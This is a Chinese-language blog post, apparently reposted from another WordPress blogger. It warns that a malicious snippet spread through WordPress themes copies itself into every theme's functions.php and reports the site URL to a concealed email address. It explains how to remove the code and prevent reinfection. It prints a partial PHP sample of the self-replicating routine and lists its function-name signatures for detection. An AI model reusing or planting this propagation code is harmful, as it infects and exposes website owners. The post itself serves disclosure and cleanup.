张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

建站笔记1年前 (2023)更新 小萝卜头
330 0 0
不经意看到了哼哼猪的 《博主们注意了!赶快检查下你的 WordPress 里面是否包含恶意代码》一文,就好奇的检查了一下,结果。。。尼玛居然还真中招了!难怪老是觉得 WP 的后台卡卡的,一点都不流畅!而且后台提交文章经常会出现 502 或 503 的无法打开页面!估计就是这玩意在作祟!
下面内容摘自原文:代码太长放到下面,先说说此段代码的来源和危害:

此段代码来源一般是在 WordPress 主题里面自带,可能免费主题、破解主题或者收费主题,大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。

再来大概说说它的工作原理,首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的 functions.php,并在 functions.php 文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的 url 地址到[email protected](可能大家没看到这个邮箱地址的添加位置,这就是它的巧妙之处,它将 email 地址拆分转义,然后用多重变量引用,下面的代码我已经用红色标注出了此 email 地址)

危害:单单从这段代码来说,也没什么大的问题,不过因为已经感染此代码且感染网址也发给了恶意病毒代码散播者,这样你的网站可能就会有选择成为下一步攻击目标。另外如果下面的代码不完整或者你的 Mysql 有一些安全限制会导致下面代码的一些项添加不完整,导致网站打开错误,其实这也是发现问题所在的原因。

小技巧:当你制作或使用一个安全主题时,你可以在 functions.php 文件结尾处的最后一个“?>”前添加上“//所有设置已完成”,这样如果被而已添加就能很快发现!

如何清除此段恶意病毒代码呢:

清理也很简单,直接在 functions.php 文件里面找到下面的代码删除即可,但因为一旦感染会导致你 themes 主题目录所有主题都感染,因此你只清除当前使用主题是无效的,你清除后很快就会生成,因此你清除掉一个主题的代码后,把 functions.php 文件设置为 444 权限,然后再清理其他主题即可。至于最后 functions.php 文件的 444 权限是否需要改回去,个人建议 444 挺好挺安全的,等要修改的时候再修改就行了。

functions.php 里面的恶意病毒代码实例如下可能会有些差异,但基本代码是相同的):

<?php
function _verifyactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
// 代码太长,略之!
?>

这些代码存在于 wp-content/themes 下的所有主题的所有 functions.php 文件里。

通常以下面这些函数特征出现:

function _checkactive_widgets
function _get_allwidgets_cont
function stripos
function strripos
function scandir
add_action("admin_head", "_checkactive_widgets");
function _getprepare_widget
add_action("init", "_getprepare_widget");
function __popular_posts

现场说法:

我在检查后台主题 functions.php 时发现,我的博客居然也被感染了!

首先在知更鸟主题中发现大段的恶意代码,鸟哥做主题的时候明显是加上了{全部结束}的注释。后面的多余的内容我还一直以为是 WP 自己给加上的。。。。

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

然后,我打开了手机主题 Mobile pack 的 functions.php 看了下,发现居然也有!看来真是有传染性:

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

二话不说,果断删除全部恶意代码:

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

检查无误后,我开始做预防措施。将 2 个主题的 functions.php 的权限设置为 444,只允许读取,不允许写入:

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

恶意代码风波到此就告一段落了!看来以后不能随便测试主题了!像哼哼猪说的一样:大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。

我记录这篇博文的主要目的就是为了提醒和我一样不知情的 WordPress 菜鸟站长,赶紧检查一下你的 WP 是不是被注入饿了恶意代码!我敢说,不知情的博主,感染率估计能有 80%以上!尤其是经常换主题的博客!各位博友,赶紧检查下自己的博客,有则删之,无则预防!

收录于{张戈博客} 原文链接原文链接

© 版权声明

相关文章

暂无评论

暂无评论...